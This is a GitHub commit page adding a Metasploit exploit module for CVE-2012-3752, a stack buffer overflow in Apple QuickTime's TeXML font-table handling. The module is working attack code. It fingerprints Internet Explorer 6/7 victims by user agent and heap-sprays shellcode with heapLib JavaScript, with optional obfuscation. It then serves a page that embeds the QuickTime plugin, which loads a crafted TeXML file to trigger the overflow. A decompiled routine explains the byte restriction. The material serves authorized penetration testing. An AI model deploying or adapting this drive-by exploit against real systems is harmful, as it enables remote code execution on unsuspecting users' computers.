Skip to content

Commit 52ff38a

Browse files
author
jvazquez-r7
committed
add module for cve-2012-3752
1 parent d95220d commit 52ff38a

File tree

1 file changed

+279
-0
lines changed

1 file changed

+279
-0
lines changed
Lines changed: 279 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,279 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = NormalRanking
12+
13+
include Msf::Exploit::Remote::HttpServer::HTML
14+
15+
include Msf::Exploit::Remote::BrowserAutopwn
16+
autopwn_info({
17+
:os_name => OperatingSystems::WINDOWS,
18+
:javascript => true,
19+
:rank => NormalRanking,
20+
:ua_name => HttpClients::IE,
21+
:ua_minver => "6.0",
22+
:ua_maxver => "7.0"
23+
})
24+
25+
def initialize(info = {})
26+
super(update_info(info,
27+
'Name' => 'Apple QuickTime 7.7.2 TeXML Style Element font-table Field Stack Buffer Overflow',
28+
'Description' => %q{
29+
This module exploits a vulnerability found in Apple QuickTime. When handling
30+
a TeXML file, it is possible to trigger a stack-based buffer overflow, and then
31+
gain arbitrary code execution under the context of the user. This is due to the
32+
QuickTime3GPP.gtx component not handling certain Style subfields properly, as the
33+
font-table field, which is used to trigger the overflow in this module. Because of
34+
QuickTime restrictions when handling font-table fields, only 0x31-0x39 bytes can be
35+
used to overflow, so at the moment DEP/ASLR bypass hasn't been provided. The module
36+
has been tested successfully on IE6 and IE7 browsers (Windows XP and Vista).
37+
},
38+
'Author' =>
39+
[
40+
'Arezou Hosseinzad-Amirkhizi', # Vulnerability Discovery
41+
'juan vazquez' # Metasploit Module
42+
],
43+
'License' => MSF_LICENSE,
44+
'References' =>
45+
[
46+
[ 'OSVDB', '87087' ],
47+
[ 'CVE', '2012-3752' ],
48+
[ 'BID', '56557' ],
49+
[ 'URL', 'http://support.apple.com/kb/HT5581' ]
50+
],
51+
'DefaultOptions' =>
52+
{
53+
'EXITFUNC' => 'process',
54+
'InitialAutoRunScript' => 'migrate -f',
55+
},
56+
'Payload' =>
57+
{
58+
'BadChars' => "",
59+
'Space' => 1000,
60+
},
61+
'Platform' => 'win',
62+
63+
'Targets' =>
64+
[
65+
# Tested with QuickTime 7.7.2
66+
[ 'Automatic', {} ],
67+
[ 'IE 6 on Windows XP SP3', {} ],
68+
[ 'IE 7 on Windows XP SP3', {} ],
69+
[ 'IE 7 on Windows Vista', {} ]
70+
],
71+
'Privileged' => false,
72+
'DisclosureDate' => 'Nov 07 2012',
73+
'DefaultTarget' => 0))
74+
75+
register_options(
76+
[
77+
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
78+
], self.class)
79+
end
80+
81+
def get_target(agent)
82+
#If the user is already specified by the user, we'll just use that
83+
return target if target.name != 'Automatic'
84+
85+
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
86+
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
87+
88+
ie_name = "IE #{ie}"
89+
90+
case nt
91+
when '5.1'
92+
os_name = 'Windows XP SP3'
93+
when '6.0'
94+
os_name = 'Windows Vista'
95+
when '6.1'
96+
os_name = 'Windows 7'
97+
end
98+
99+
targets.each do |t|
100+
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
101+
print_status("Target selected as: #{t.name}")
102+
return t
103+
end
104+
end
105+
106+
return nil
107+
end
108+
109+
110+
def on_request_uri(client, request)
111+
112+
return if ((p = regenerate_payload(client)) == nil)
113+
114+
agent = request.headers['User-Agent']
115+
my_target = get_target(agent)
116+
# Avoid the attack if no suitable target found
117+
if my_target.nil?
118+
print_error("Browser not supported, sending 404: #{agent}")
119+
send_not_found(cli)
120+
return
121+
end
122+
123+
if request.uri =~ /\.3gp/
124+
print_status("Sending exploit TEXML (target: #{my_target.name})")
125+
126+
my_payload = "1" * (1024*16)
127+
128+
texml = <<-eos
129+
<?xml version="1.0"?>
130+
<?quicktime type="application/x-quicktime-texml"?>
131+
132+
<text3GTrack trackWidth="176.0" trackHeight="60.0" layer="1"
133+
language="eng" timeScale="600"
134+
transform="matrix(1.0, 0.0, 0.0, 0.0, 1.0, 0.0, 1, 0, 1.0)">
135+
<sample duration="2400" keyframe="true">
136+
137+
<description format="tx3g" displayFlags="ScrollIn"
138+
horizontalJustification="Left"
139+
verticalJustification="Top"
140+
backgroundColor="0%, 0%, 0%, 100%">
141+
142+
<defaultTextBox x="0" y="0" width="176" height="60"/>
143+
<fontTable>
144+
<font id="1" name="Times"/>
145+
</fontTable>
146+
147+
<sharedStyles>
148+
<style id="1">
149+
{font-table: #{my_payload}}
150+
{font-style:normal}
151+
{font-weight: normal}
152+
{font-size: 10}
153+
{line-height: 100%}
154+
{text-align: right}
155+
{text-decoration: underline}
156+
{color: 100%, 100%, 100%, 100%}
157+
{backgroundcolor: 100%, 100%, 100%, 100%}
158+
</style>
159+
</sharedStyles>
160+
</description>
161+
162+
<sampleData scrollDelay="200"
163+
highlightColor="25%, 45%, 65%, 100%"
164+
targetEncoding="utf8">
165+
166+
<textBox x="10" y="10" width="156" height="40"/>
167+
<text styleID="1">What you need... Metasploit!</text>
168+
<highlight startMarker="1" endMarker="2"/>
169+
<blink startMarker="3" endMarker="4"/>
170+
</sampleData>
171+
</sample>
172+
</text3GTrack>
173+
eos
174+
175+
send_response(client, texml, { 'Content-Type' => "application/x-quicktime-texml" })
176+
177+
else
178+
print_status("Sending initial HTML")
179+
180+
url = ((datastore['SSL']) ? "https://" : "http://")
181+
url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])
182+
url << ":" + datastore['SRVPORT'].to_s
183+
url << get_resource
184+
185+
fname = rand_text_alphanumeric(4)
186+
187+
#ARCH used by the victim machine
188+
arch = Rex::Arch.endian(my_target.arch)
189+
nops = Rex::Text.to_unescape("\x0c\x0c\x0c\x0c", arch)
190+
code = Rex::Text.to_unescape(payload.encoded, arch)
191+
192+
# Spray puts payload on 0x31313131
193+
spray = <<-JS
194+
var heap_obj = new heapLib.ie(0x20000);
195+
var code = unescape("#{code}");
196+
var nops = unescape("#{nops}");
197+
198+
while (nops.length < 0x80000) nops += nops;
199+
var offset = nops.substring(0, 0x800 - code.length);
200+
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
201+
202+
while (shellcode.length < 0x40000) shellcode += shellcode;
203+
var block = shellcode.substring(0, (0x80000-6)/2);
204+
205+
heap_obj.gc();
206+
for (var i=0; i < 1600; i++) {
207+
heap_obj.alloc(block);
208+
}
209+
JS
210+
211+
#Use heaplib
212+
js_spray = heaplib(spray)
213+
214+
#obfuscate on demand
215+
if datastore['OBFUSCATE']
216+
js_spray = ::Rex::Exploitation::JSObfu.new(js_spray)
217+
js_spray.obfuscate
218+
end
219+
220+
content = "<html>"
221+
content << <<-JSPRAY
222+
<head>
223+
<script>
224+
#{js_spray}
225+
</script>
226+
</head>
227+
JSPRAY
228+
content << "<body>"
229+
content << <<-ENDEMBED
230+
<OBJECT
231+
CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
232+
WIDTH="1"
233+
HEIGHT="1"
234+
CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab">
235+
<PARAM name="SRC" VALUE = "#{url}/#{fname}.3gp">
236+
<PARAM name="QTSRC" VALUE = "#{url}/#{fname}.3gp">
237+
<PARAM name="AUTOPLAY" VALUE = "true" >
238+
<PARAM name="TYPE" VALUE = "video/quicktime" >
239+
<PARAM name="TARGET" VALUE = "myself" >
240+
<EMBED
241+
SRC = "#{url}/#{fname}.3gp"
242+
QTSRC = "#{url}/#{fname}.3gp"
243+
TARGET = "myself"
244+
WIDTH = "1"
245+
HEIGHT = "1"
246+
AUTOPLAY = "true"
247+
PLUGIN = "quicktimeplugin"
248+
TYPE = "video/quicktime"
249+
CACHE = "false"
250+
PLUGINSPAGE= "http://www.apple.com/quicktime/download/" >
251+
</EMBED>
252+
</OBJECT>
253+
ENDEMBED
254+
content << "</body></html>"
255+
256+
send_response(client, content, { 'Content-Type' => "text/html" })
257+
end
258+
end
259+
260+
end
261+
262+
263+
=begin
264+
* Routine checking only for '1'-'9' chars for the vaules on the vulnerable style fields (font-table, font-size and line-height)
265+
266+
int __fastcall sub_67EED2B0(int a1, int a2)
267+
{
268+
int result; // eax@1
269+
unsigned __int8 v3; // cl@2
270+
271+
for ( result = 0; ; ++result )
272+
{
273+
v3 = *(_BYTE *)a2++ - 0x30;
274+
if ( v3 > 9u )
275+
break;
276+
}
277+
return result;
278+
}
279+
=end

0 commit comments

Comments
 (0)